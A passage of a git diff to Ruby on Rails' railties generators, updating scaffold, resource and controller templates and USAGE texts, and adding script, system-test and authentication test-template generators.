     either CamelCased or under_scored, as the first argument, and an optional
     list of attribute pairs.
 
@@ -18,6 +18,6 @@ Description:
     views or add any methods to the generated controller.
 
 Examples:
-    `rails generate resource post` # no attributes
-    `rails generate resource post title:string body:text published:boolean`
-    `rails generate resource purchase order_id:integer amount:decimal`
+    `bin/rails generate resource post` # no attributes
+    `bin/rails generate resource post title:string body:text published:boolean`
+    `bin/rails generate resource purchase order_id:integer amount:decimal`
diff --git a/railties/lib/rails/generators/rails/resource/resource_generator.rb b/railties/lib/rails/generators/rails/resource/resource_generator.rb
index 5ac5164af0edf..661859e924ee8 100644
--- a/railties/lib/rails/generators/rails/resource/resource_generator.rb
+++ b/railties/lib/rails/generators/rails/resource/resource_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/resource_helpers"
 require "rails/generators/rails/model/model_generator"
 
@@ -14,6 +16,12 @@ class ResourceGenerator < ModelGenerator # :nodoc:
                              desc: "Actions for the resource controller"
 
       hook_for :resource_route, required: true
+
+      class << self
+        def desc(description = nil)
+          ERB.new(File.read(usage_path)).result(binding)
+        end
+      end
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
index 42705107ae7b9..0f2a65b91ee6e 100644
--- a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
+++ b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 module Rails
   module Generators
     class ResourceRouteGenerator < NamedBase # :nodoc:
       # Properly nests namespaces passed into a generator
       #
-      #   $ rails generate resource admin/users/products
+      #   $ bin/rails generate resource admin/users/products
       #
       # should give you
       #
@@ -14,38 +16,8 @@ class ResourceRouteGenerator < NamedBase # :nodoc:
       #   end
       def add_resource_route
         return if options[:actions].present?
-
-        # iterates over all namespaces and opens up blocks
-        regular_class_path.each_with_index do |namespace, index|
-          write("namespace :#{namespace} do", index + 1)
-        end
-
-        # inserts the primary resource
-        write("resources :#{file_name.pluralize}", route_length + 1)
-
-        # ends blocks
-        regular_class_path.each_index do |index|
-          write("end", route_length - index)
-        end
-
-        # route prepends two spaces onto the front of the string that is passed, this corrects that.
-        # Also it adds a \n to the end of each line, as route already adds that
-        # we need to correct that too.
-        route route_string[2..-2]
+        route "resources :#{file_name.pluralize}", namespace: regular_class_path
       end
-
-      private
-        def route_string
-          @route_string ||= ""
-        end
-
-        def write(str, indent)
-          route_string << "#{"  " * indent}#{str}\n"
-        end
-
-        def route_length
-          regular_class_path.length
-        end
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/scaffold/USAGE b/railties/lib/rails/generators/rails/scaffold/USAGE
index c9283eda873f0..29206c5b22e0c 100644
--- a/railties/lib/rails/generators/rails/scaffold/USAGE
+++ b/railties/lib/rails/generators/rails/scaffold/USAGE
@@ -32,10 +32,10 @@ Description:
     in config/routes.rb.
 
     If you want to remove all the generated files, run
-    'rails destroy scaffold ModelName'.
+    'bin/rails destroy scaffold ModelName'.
 
 Examples:
-    `rails generate scaffold post`
-    `rails generate scaffold post title:string body:text published:boolean`
-    `rails generate scaffold purchase amount:decimal tracking_id:integer:uniq`
-    `rails generate scaffold user email:uniq password:digest`
+    `bin/rails generate scaffold post`
+    `bin/rails generate scaffold post title:string body:text published:boolean`
+    `bin/rails generate scaffold purchase amount:decimal tracking_id:integer:uniq`
+    `bin/rails generate scaffold user email:uniq password:digest`
diff --git a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb
index ed6bf7f7d7bbc..e514dd604c0bc 100644
--- a/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb
+++ b/railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/rails/resource/resource_generator"
 
 module Rails
@@ -6,28 +8,11 @@ class ScaffoldGenerator < ResourceGenerator # :nodoc:
       remove_hook_for :resource_controller
       remove_class_option :actions
 
-      class_option :stylesheets, type: :boolean, desc: "Generate Stylesheets"
-      class_option :stylesheet_engine, desc: "Engine for Stylesheets"
-      class_option :assets, type: :boolean
+      class_option :api, type: :boolean,
+        desc: "Generate API-only controller and tests, with no view templates"
       class_option :resource_route, type: :boolean
-      class_option :scaffold_stylesheet, type: :boolean
-
-      def handle_skip
-        @options = @options.merge(stylesheets: false) unless options[:assets]
-        @options = @options.merge(stylesheet_engine: false) unless options[:stylesheets] && options[:scaffold_stylesheet]
-      end
 
       hook_for :scaffold_controller, required: true
-
-      hook_for :assets do |assets|
-        invoke assets, [controller_name]
-      end
-
-      hook_for :stylesheet_engine do |stylesheet_engine|
-        if behavior == :invoke
-          invoke stylesheet_engine, [controller_name]
-        end
-      end
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/USAGE b/railties/lib/rails/generators/rails/scaffold_controller/USAGE
index 8ba4c5ccbc10e..e13dd8e61e212 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/USAGE
+++ b/railties/lib/rails/generators/rails/scaffold_controller/USAGE
@@ -1,5 +1,5 @@
 Description:
-    Stubs out a scaffolded controller, its seven RESTful actions and related
+    Generates a scaffolded controller, its seven RESTful actions and related
     views. Pass the model name, either CamelCased or under_scored. The
     controller name is retrieved as a pluralized version of the model name.
 
@@ -10,9 +10,9 @@ Description:
     template engine and test framework generators.
 
 Example:
-    `rails generate scaffold_controller CreditCard`
+    `bin/rails generate scaffold_controller CreditCard`
 
-    Credit card controller with URLs like /credit_card/debit.
+    Credit card controller with URLs like /credit_cards.
         Controller: app/controllers/credit_cards_controller.rb
         Test:       test/controllers/credit_cards_controller_test.rb
         Views:      app/views/credit_cards/index.html.erb [...]
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
index cf97c22160c7b..e5cff48796edd 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/resource_helpers"
 
 module Rails
@@ -11,7 +13,9 @@ class ScaffoldControllerGenerator < NamedBase # :nodoc:
       class_option :orm, banner: "NAME", type: :string, required: true,
                          desc: "ORM to generate the controller for"
       class_option :api, type: :boolean,
-                         desc: "Generates API controller"
+                         desc: "Generate API controller"
+
+      class_option :skip_routes, type: :boolean, desc: "Don't add routes to config/routes.rb."
 
       argument :attributes, type: :array, default: [], banner: "field:type field:type"
 
@@ -24,12 +28,29 @@ def create_controller_files
         invoke template_engine unless options.api?
       end
 
+      hook_for :resource_route, required: true do |route|
+        invoke route unless options.skip_routes?
+      end
+
       hook_for :test_framework, as: :scaffold
 
       # Invoke the helper using the controller name (pluralized)
       hook_for :helper, as: :scaffold do |invoked|
         invoke invoked, [ controller_name ]
       end
+
+      private
+        def permitted_params
+          attachments, others = attributes_names.partition { |name| attachments?(name) }
+          params = others.map { |name| ":#{name}" }
+          params += attachments.map { |name| "#{name}: []" }
+          params.join(", ")
+        end
+
+        def attachments?(name)
+          attribute = attributes.find { |attr| attr.name == name }
+          attribute&.attachments?
+        end
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/api_controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/api_controller.rb
deleted file mode 100644
index 400afec6dcacc..0000000000000
--- a/railties/lib/rails/generators/rails/scaffold_controller/templates/api_controller.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-<% if namespaced? -%>
-require_dependency "<%= namespaced_path %>/application_controller"
-
-<% end -%>
-<% module_namespacing do -%>
-class <%= controller_class_name %>Controller < ApplicationController
-  before_action :set_<%= singular_table_name %>, only: [:show, :update, :destroy]
-
-  # GET <%= route_url %>
-  def index
-    @<%= plural_table_name %> = <%= orm_class.all(class_name) %>
-
-    render json: <%= "@#{plural_table_name}" %>
-  end
-
-  # GET <%= route_url %>/1
-  def show
-    render json: <%= "@#{singular_table_name}" %>
-  end
-
-  # POST <%= route_url %>
-  def create
-    @<%= singular_table_name %> = <%= orm_class.build(class_name, "#{singular_table_name}_params") %>
-
-    if @<%= orm_instance.save %>
-      render json: <%= "@#{singular_table_name}" %>, status: :created, location: <%= "@#{singular_table_name}" %>
-    else
-      render json: <%= "@#{orm_instance.errors}" %>, status: :unprocessable_entity
-    end
-  end
-
-  # PATCH/PUT <%= route_url %>/1
-  def update
-    if @<%= orm_instance.update("#{singular_table_name}_params") %>
-      render json: <%= "@#{singular_table_name}" %>
-    else
-      render json: <%= "@#{orm_instance.errors}" %>, status: :unprocessable_entity
-    end
-  end
-
-  # DELETE <%= route_url %>/1
-  def destroy
-    @<%= orm_instance.destroy %>
-  end
-
-  private
-    # Use callbacks to share common setup or constraints between actions.
-    def set_<%= singular_table_name %>
-      @<%= singular_table_name %> = <%= orm_class.find(class_name, "params[:id]") %>
-    end
-
-    # Only allow a trusted parameter "white list" through.
-    def <%= "#{singular_table_name}_params" %>
-      <%- if attributes_names.empty? -%>
-      params.fetch(:<%= singular_table_name %>, {})
-      <%- else -%>
-      params.require(:<%= singular_table_name %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>)
-      <%- end -%>
-    end
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/api_controller.rb.tt b/railties/lib/rails/generators/rails/scaffold_controller/templates/api_controller.rb.tt
new file mode 100644
index 0000000000000..6a2685ba8768d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/api_controller.rb.tt
@@ -0,0 +1,57 @@
+<% module_namespacing do -%>
+class <%= controller_class_name %>Controller < ApplicationController
+  before_action :set_<%= singular_table_name %>, only: %i[ show update destroy ]
+
+  # GET <%= route_url %>
+  def index
+    @<%= plural_table_name %> = <%= orm_class.all(class_name) %>
+
+    render json: <%= "@#{plural_table_name}" %>
+  end
+
+  # GET <%= route_url %>/1
+  def show
+    render json: <%= "@#{singular_table_name}" %>
+  end
+
+  # POST <%= route_url %>
+  def create
+    @<%= singular_table_name %> = <%= orm_class.build(class_name, "#{singular_table_name}_params") %>
+
+    if @<%= orm_instance.save %>
+      render json: <%= "@#{singular_table_name}" %>, status: :created, location: <%= "@#{singular_table_name}" %>
+    else
+      render json: <%= "@#{orm_instance.errors}" %>, status: <%= ActionDispatch::Constants::UNPROCESSABLE_CONTENT.inspect %>
+    end
+  end
+
+  # PATCH/PUT <%= route_url %>/1
+  def update
+    if @<%= orm_instance.update("#{singular_table_name}_params") %>
+      render json: <%= "@#{singular_table_name}" %>
+    else
+      render json: <%= "@#{orm_instance.errors}" %>, status: <%= ActionDispatch::Constants::UNPROCESSABLE_CONTENT.inspect %>
+    end
+  end
+
+  # DELETE <%= route_url %>/1
+  def destroy
+    @<%= orm_instance.destroy %>
+  end
+
+  private
+    # Use callbacks to share common setup or constraints between actions.
+    def set_<%= singular_table_name %>
+      @<%= singular_table_name %> = <%= orm_class.find(class_name, "params.expect(:id)") %>
+    end
+
+    # Only allow a list of trusted parameters through.
+    def <%= "#{singular_table_name}_params" %>
+      <%- if attributes_names.empty? -%>
+      params.fetch(:<%= singular_table_name %>, {})
+      <%- else -%>
+      params.expect(<%= singular_table_name %>: [ <%= permitted_params %> ])
+      <%- end -%>
+    end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
deleted file mode 100644
index 42b9e3427407f..0000000000000
--- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-<% if namespaced? -%>
-require_dependency "<%= namespaced_path %>/application_controller"
-
-<% end -%>
-<% module_namespacing do -%>
-class <%= controller_class_name %>Controller < ApplicationController
-  before_action :set_<%= singular_table_name %>, only: [:show, :edit, :update, :destroy]
-
-  # GET <%= route_url %>
-  def index
-    @<%= plural_table_name %> = <%= orm_class.all(class_name) %>
-  end
-
-  # GET <%= route_url %>/1
-  def show
-  end
-
-  # GET <%= route_url %>/new
-  def new
-    @<%= singular_table_name %> = <%= orm_class.build(class_name) %>
-  end
-
-  # GET <%= route_url %>/1/edit
-  def edit
-  end
-
-  # POST <%= route_url %>
-  def create
-    @<%= singular_table_name %> = <%= orm_class.build(class_name, "#{singular_table_name}_params") %>
-
-    if @<%= orm_instance.save %>
-      redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully created.'" %>
-    else
-      render :new
-    end
-  end
-
-  # PATCH/PUT <%= route_url %>/1
-  def update
-    if @<%= orm_instance.update("#{singular_table_name}_params") %>
-      redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully updated.'" %>
-    else
-      render :edit
-    end
-  end
-
-  # DELETE <%= route_url %>/1
-  def destroy
-    @<%= orm_instance.destroy %>
-    redirect_to <%= index_helper %>_url, notice: <%= "'#{human_name} was successfully destroyed.'" %>
-  end
-
-  private
-    # Use callbacks to share common setup or constraints between actions.
-    def set_<%= singular_table_name %>
-      @<%= singular_table_name %> = <%= orm_class.find(class_name, "params[:id]") %>
-    end
-
-    # Only allow a trusted parameter "white list" through.
-    def <%= "#{singular_table_name}_params" %>
-      <%- if attributes_names.empty? -%>
-      params.fetch(:<%= singular_table_name %>, {})
-      <%- else -%>
-      params.require(:<%= singular_table_name %>).permit(<%= attributes_names.map { |name| ":#{name}" }.join(', ') %>)
-      <%- end -%>
-    end
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb.tt b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb.tt
new file mode 100644
index 0000000000000..b795607cc354e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb.tt
@@ -0,0 +1,64 @@
+<% module_namespacing do -%>
+class <%= controller_class_name %>Controller < ApplicationController
+  before_action :set_<%= singular_table_name %>, only: %i[ show edit update destroy ]
+
+  # GET <%= route_url %>
+  def index
+    @<%= plural_table_name %> = <%= orm_class.all(class_name) %>
+  end
+
+  # GET <%= route_url %>/1
+  def show
+  end
+
+  # GET <%= route_url %>/new
+  def new
+    @<%= singular_table_name %> = <%= orm_class.build(class_name) %>
+  end
+
+  # GET <%= route_url %>/1/edit
+  def edit
+  end
+
+  # POST <%= route_url %>
+  def create
+    @<%= singular_table_name %> = <%= orm_class.build(class_name, "#{singular_table_name}_params") %>
+
+    if @<%= orm_instance.save %>
+      redirect_to <%= redirect_resource_name %>, notice: <%= %("#{human_name} was successfully created.") %>
+    else
+      render :new, status: <%= ActionDispatch::Constants::UNPROCESSABLE_CONTENT.inspect %>
+    end
+  end
+
+  # PATCH/PUT <%= route_url %>/1
+  def update
+    if @<%= orm_instance.update("#{singular_table_name}_params") %>
+      redirect_to <%= redirect_resource_name %>, notice: <%= %("#{human_name} was successfully updated.") %>, status: :see_other
+    else
+      render :edit, status: <%= ActionDispatch::Constants::UNPROCESSABLE_CONTENT.inspect %>
+    end
+  end
+
+  # DELETE <%= route_url %>/1
+  def destroy
+    @<%= orm_instance.destroy %>
+    redirect_to <%= index_helper %>_path, notice: <%= %("#{human_name} was successfully destroyed.") %>, status: :see_other
+  end
+
+  private
+    # Use callbacks to share common setup or constraints between actions.
+    def set_<%= singular_table_name %>
+      @<%= singular_table_name %> = <%= orm_class.find(class_name, "params.expect(:id)") %>
+    end
+
+    # Only allow a list of trusted parameters through.
+    def <%= "#{singular_table_name}_params" %>
+      <%- if attributes_names.empty? -%>
+      params.fetch(:<%= singular_table_name %>, {})
+      <%- else -%>
+      params.expect(<%= singular_table_name %>: [ <%= permitted_params %> ])
+      <%- end -%>
+    end
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/script/USAGE b/railties/lib/rails/generators/rails/script/USAGE
new file mode 100644
index 0000000000000..3d23ecdea7d64
--- /dev/null
+++ b/railties/lib/rails/generators/rails/script/USAGE
@@ -0,0 +1,18 @@
+Description:
+    Generate a one-off or general purpose script, such as a data migration
+    script, cleanup script, etc.
+
+Example:
+    `bin/rails generate script my_script`
+
+    This will create:
+        script/my_script.rb
+
+    You can run the script using:
+        `bin/rails runner script/my_script.rb`
+
+    You can specify a folder:
+        `bin/rails generate script cleanup/my_script`
+
+    This will create:
+        script/cleanup/my_script.rb
diff --git a/railties/lib/rails/generators/rails/script/script_generator.rb b/railties/lib/rails/generators/rails/script/script_generator.rb
new file mode 100644
index 0000000000000..71e5f9a3db15d
--- /dev/null
+++ b/railties/lib/rails/generators/rails/script/script_generator.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require "rails/generators/named_base"
+
+module Rails
+  module Generators
+    class ScriptGenerator < NamedBase
+      def generate_script
+        template("script.rb.tt", "script/#{file_path}.rb")
+      end
+
+      private
+        def depth
+          class_path.size + 1
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/script/templates/script.rb.tt b/railties/lib/rails/generators/rails/script/templates/script.rb.tt
new file mode 100644
index 0000000000000..91379fc1cba10
--- /dev/null
+++ b/railties/lib/rails/generators/rails/script/templates/script.rb.tt
@@ -0,0 +1,3 @@
+require_relative "<%= '../' * depth %>config/environment"
+
+# Your code goes here
diff --git a/railties/lib/rails/generators/rails/system_test/USAGE b/railties/lib/rails/generators/rails/system_test/USAGE
new file mode 100644
index 0000000000000..14307a3c30407
--- /dev/null
+++ b/railties/lib/rails/generators/rails/system_test/USAGE
@@ -0,0 +1,10 @@
+Description:
+    Generates a new system test. Pass the name of the test, either
+    CamelCased or under_scored, as an argument.
+
+    This generator invokes the current system tool, which defaults to
+    TestUnit.
+
+Example:
+    `bin/rails generate system_test GeneralStories` creates a GeneralStories
+    system test in test/system/general_stories_test.rb
diff --git a/railties/lib/rails/generators/rails/system_test/system_test_generator.rb b/railties/lib/rails/generators/rails/system_test/system_test_generator.rb
new file mode 100644
index 0000000000000..7169e1bd3bddf
--- /dev/null
+++ b/railties/lib/rails/generators/rails/system_test/system_test_generator.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Rails
+  module Generators
+    class SystemTestGenerator < NamedBase # :nodoc:
+      hook_for :system_tests, as: :system
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/task/USAGE b/railties/lib/rails/generators/rails/task/USAGE
index dbe9bbaf08564..9e43cf9edfdfc 100644
--- a/railties/lib/rails/generators/rails/task/USAGE
+++ b/railties/lib/rails/generators/rails/task/USAGE
@@ -1,9 +1,9 @@
 Description:
-    Stubs out a new Rake task. Pass the namespace name, and a list of tasks as arguments.
+    Generates a new Rake task. Pass the namespace name, and a list of tasks as arguments.
 
     This generates a task file in lib/tasks.
 
 Example:
-    `rails generate task feeds fetch erase add`
+    `bin/rails generate task feeds fetch erase add`
 
-        Task:      lib/tasks/feeds.rake
\ No newline at end of file
+        Task:      lib/tasks/feeds.rake
diff --git a/railties/lib/rails/generators/rails/task/task_generator.rb b/railties/lib/rails/generators/rails/task/task_generator.rb
index bb96bdf0ddb9e..b7290a74472a7 100644
--- a/railties/lib/rails/generators/rails/task/task_generator.rb
+++ b/railties/lib/rails/generators/rails/task/task_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Rails
   module Generators
     class TaskGenerator < NamedBase # :nodoc:
diff --git a/railties/lib/rails/generators/rails/task/templates/task.rb b/railties/lib/rails/generators/rails/task/templates/task.rb.tt
similarity index 100%
rename from railties/lib/rails/generators/rails/task/templates/task.rb
rename to railties/lib/rails/generators/rails/task/templates/task.rb.tt
diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb
index e7cb722473f20..a9cd9a9c1b2e6 100644
--- a/railties/lib/rails/generators/resource_helpers.rb
+++ b/railties/lib/rails/generators/resource_helpers.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/active_model"
 require "rails/generators/model_helpers"
 
@@ -6,13 +8,13 @@ module Generators
     # Deal with controller names on scaffold and add some helpers to deal with
     # ActiveModel.
     module ResourceHelpers # :nodoc:
-      def self.included(base) #:nodoc:
+      def self.included(base) # :nodoc:
         base.include(Rails::Generators::ModelHelpers)
         base.class_option :model_name, type: :string, desc: "ModelName to be used"
       end
 
       # Set controller variables on initialization.
-      def initialize(*args) #:nodoc:
+      def initialize(*args) # :nodoc:
         super
         controller_name = name
         if options[:model_name]
@@ -23,13 +25,8 @@ def initialize(*args) #:nodoc:
         assign_controller_names!(controller_name.pluralize)
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
-        attr_reader :controller_name, :controller_file_name
-
       private
+        attr_reader :controller_name, :controller_file_name
 
         def controller_class_path
           if options[:model_name]
diff --git a/railties/lib/rails/generators/test_case.rb b/railties/lib/rails/generators/test_case.rb
index 3eec929aeb755..c836232374faa 100644
--- a/railties/lib/rails/generators/test_case.rb
+++ b/railties/lib/rails/generators/test_case.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 require "rails/generators"
-require "rails/generators/testing/behaviour"
+require "rails/generators/testing/behavior"
 require "rails/generators/testing/setup_and_teardown"
 require "rails/generators/testing/assertions"
 require "fileutils"
@@ -9,12 +11,12 @@ module Generators
     # Disable color in output. Easier to debug.
     no_color!
 
-    # This class provides a TestCase for testing generators. To setup, you need
+    # This class provides a TestCase for testing generators. To set up, you need
     # just to configure the destination and set which generator is being tested:
     #
     #   class AppGeneratorTest < Rails::Generators::TestCase
     #     tests AppGenerator
-    #     destination File.expand_path("../tmp", File.dirname(__FILE__))
+    #     destination File.expand_path("../tmp", __dir__)
     #   end
     #
     # If you want to ensure your destination root is clean before running each test,
@@ -22,11 +24,11 @@ module Generators
     #
     #   class AppGeneratorTest < Rails::Generators::TestCase
     #     tests AppGenerator
-    #     destination File.expand_path("../tmp", File.dirname(__FILE__))
+    #     destination File.expand_path("../tmp", __dir__)
     #     setup :prepare_destination
     #   end
     class TestCase < ActiveSupport::TestCase
-      include Rails::Generators::Testing::Behaviour
+      include Rails::Generators::Testing::Behavior
       include Rails::Generators::Testing::SetupAndTeardown
       include Rails::Generators::Testing::Assertions
       include FileUtils
diff --git a/railties/lib/rails/generators/test_unit.rb b/railties/lib/rails/generators/test_unit.rb
index 722efcf49201e..1005ac557ce11 100644
--- a/railties/lib/rails/generators/test_unit.rb
+++ b/railties/lib/rails/generators/test_unit.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators/named_base"
 
 module TestUnit # :nodoc:
diff --git a/railties/lib/rails/generators/test_unit/authentication/authentication_generator.rb b/railties/lib/rails/generators/test_unit/authentication/authentication_generator.rb
new file mode 100644
index 0000000000000..43b9dd1f91f86
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/authentication/authentication_generator.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require "rails/generators/test_unit"
+
+module TestUnit # :nodoc:
+  module Generators # :nodoc:
+    class AuthenticationGenerator < Rails::Generators::Base # :nodoc:
+      def create_user_test_files
+        template "test/fixtures/users.yml"
+        template "test/models/user_test.rb"
+      end
+
+      def create_controller_test_files
+        template "test/controllers/sessions_controller_test.rb"
+        template "test/controllers/passwords_controller_test.rb"
+      end
+
+      def create_mailer_preview_files
+        template "test/mailers/previews/passwords_mailer_preview.rb" if defined?(ActionMailer::Railtie)
+      end
+
+      def create_test_helper_files
+        template "test/test_helpers/session_test_helper.rb"
+      end
+
+      def configure_test_helper
+        inject_into_file "test/test_helper.rb", "require_relative \"test_helpers/session_test_helper\"\n", after: "require \"rails/test_help\"\n"
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/authentication/templates/test/controllers/passwords_controller_test.rb.tt b/railties/lib/rails/generators/test_unit/authentication/templates/test/controllers/passwords_controller_test.rb.tt
new file mode 100644
index 0000000000000..e1a1b03dc8966
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/authentication/templates/test/controllers/passwords_controller_test.rb.tt
@@ -0,0 +1,67 @@
+require "test_helper"
+
+class PasswordsControllerTest < ActionDispatch::IntegrationTest
+  setup { @user = User.take }
+
+  test "new" do
+    get new_password_path
+    assert_response :success
+  end
+
+  test "create" do
+    post passwords_path, params: { email_address: @user.email_address }
+    assert_enqueued_email_with PasswordsMailer, :reset, args: [ @user ]
+    assert_redirected_to new_session_path
+
+    follow_redirect!
+    assert_notice "reset instructions sent"
+  end
+
+  test "create for an unknown user redirects but sends no mail" do
+    post passwords_path, params: { email_address: "missing-user@example.com" }
+    assert_enqueued_emails 0
+    assert_redirected_to new_session_path
+
+    follow_redirect!
+    assert_notice "reset instructions sent"
+  end
+
+  test "edit" do
+    get edit_password_path(@user.password_reset_token)
+    assert_response :success
+  end
+
+  test "edit with invalid password reset token" do
+    get edit_password_path("invalid token")
+    assert_redirected_to new_password_path
+
+    follow_redirect!
+    assert_notice "reset link is invalid"
+  end
+
+  test "update" do
+    assert_changes -> { @user.reload.password_digest } do
+      put password_path(@user.password_reset_token), params: { password: "new", password_confirmation: "new" }
+      assert_redirected_to new_session_path
+    end
+
+    follow_redirect!
+    assert_notice "Password has been reset"
+  end
+
+  test "update with non matching passwords" do
+    token = @user.password_reset_token
+    assert_no_changes -> { @user.reload.password_digest } do
+      put password_path(token), params: { password: "no", password_confirmation: "match" }
+      assert_redirected_to edit_password_path(token)
+    end
+
+    follow_redirect!
+    assert_notice "Passwords did not match"
+  end
+
+  private
+    def assert_notice(text)
+      assert_select "div", /#{text}/
+    end
+end
diff --git a/railties/lib/rails/generators/test_unit/authentication/templates/test/controllers/sessions_controller_test.rb b/railties/lib/rails/generators/test_unit/authentication/templates/test/controllers/sessions_controller_test.rb
new file mode 100644
index 0000000000000..07d72ef785593
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/authentication/templates/test/controllers/sessions_controller_test.rb
@@ -0,0 +1,33 @@
+require "test_helper"
+
+class SessionsControllerTest < ActionDispatch::IntegrationTest
+  setup { @user = User.take }
+
+  test "new" do
+    get new_session_path
+    assert_response :success
+  end
+
+  test "create with valid credentials" do
+    post session_path, params: { email_address: @user.email_address, password: "password" }
+
+    assert_redirected_to root_path
+    assert cookies[:session_id]
+  end
+
+  test "create with invalid credentials" do
+    post session_path, params: { email_address: @user.email_address, password: "wrong" }
+
+    assert_redirected_to new_session_path
+    assert_nil cookies[:session_id]
+  end
+
+  test "destroy" do
+    sign_in_as(User.take)
+
+    delete session_path
+
+    assert_redirected_to new_session_path
+    assert_empty cookies[:session_id]
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/authentication/templates/test/fixtures/users.yml.tt b/railties/lib/rails/generators/test_unit/authentication/templates/test/fixtures/users.yml.tt
new file mode 100644
index 0000000000000..cd41bc8a93330
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/authentication/templates/test/fixtures/users.yml.tt
@@ -0,0 +1,9 @@
+<%% password_digest = BCrypt::Password.create("password") %>
+
+one:
+  email_address: one@example.com
+  password_digest: <%%= password_digest %>
+
+two:
+  email_address: two@example.com
+  password_digest: <%%= password_digest %>
diff --git a/railties/lib/rails/generators/test_unit/authentication/templates/test/mailers/previews/passwords_mailer_preview.rb.tt b/railties/lib/rails/generators/test_unit/authentication/templates/test/mailers/previews/passwords_mailer_preview.rb.tt
new file mode 100644
index 0000000000000..01d07ecf81e75
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/authentication/templates/test/mailers/previews/passwords_mailer_preview.rb.tt
@@ -0,0 +1,7 @@
+# Preview all emails at http://localhost:3000/rails/mailers/passwords_mailer
+class PasswordsMailerPreview < ActionMailer::Preview
+  # Preview this email at http://localhost:3000/rails/mailers/passwords_mailer/reset
+  def reset
+    PasswordsMailer.reset(User.take)
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/authentication/templates/test/models/user_test.rb.tt b/railties/lib/rails/generators/test_unit/authentication/templates/test/models/user_test.rb.tt
new file mode 100644
index 0000000000000..83445c476acee
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/authentication/templates/test/models/user_test.rb.tt
@@ -0,0 +1,8 @@
+require "test_helper"
+
+class UserTest < ActiveSupport::TestCase
+  test "downcases and strips email_address" do
+    user = User.new(email_address: " DOWNCASED@EXAMPLE.COM ")
+    assert_equal("downcased@example.com", user.email_address)
+  end
+end
diff --git a/railties/lib/rails/generators/test_unit/authentication/templates/test/test_helpers/session_test_helper.rb.tt b/railties/lib/rails/generators/test_unit/authentication/templates/test/test_helpers/session_test_helper.rb.tt
new file mode 100644
index 0000000000000..0686378cf87b0
--- /dev/null
+++ b/railties/lib/rails/generators/test_unit/authentication/templates/test/test_helpers/session_test_helper.rb.tt
@@ -0,0 +1,19 @@
+module SessionTestHelper
+  def sign_in_as(user)
+    Current.session = user.sessions.create!
+
+    ActionDispatch::TestRequest.create.cookie_jar.tap do |cookie_jar|
+      cookie_jar.signed[:session_id] = Current.session.id
+      cookies["session_id"] = cookie_jar[:session_id]
+    end
+  end
+
+  def sign_out
+    Current.session&.destroy!
+    cookies.delete("session_id")
+  end
+end
+
+ActiveSupport.on_load(:action_dispatch_integration_test) do
+  include SessionTestHelper
+end
diff --git a/railties/lib/rails/generators/test_unit/controller/controller_generator.rb b/railties/lib/rails/generators/test_unit/controller/controller_generator.rb
index ac528d94f1625..88ebd65d6ce74 100644
--- a/railties/lib/rails/generators/test_unit/controller/controller_generator.rb
+++ b/railties/lib/rails/generators/test_unit/controller/controller_generator.rb
@@ -1,9 +1,13 @@
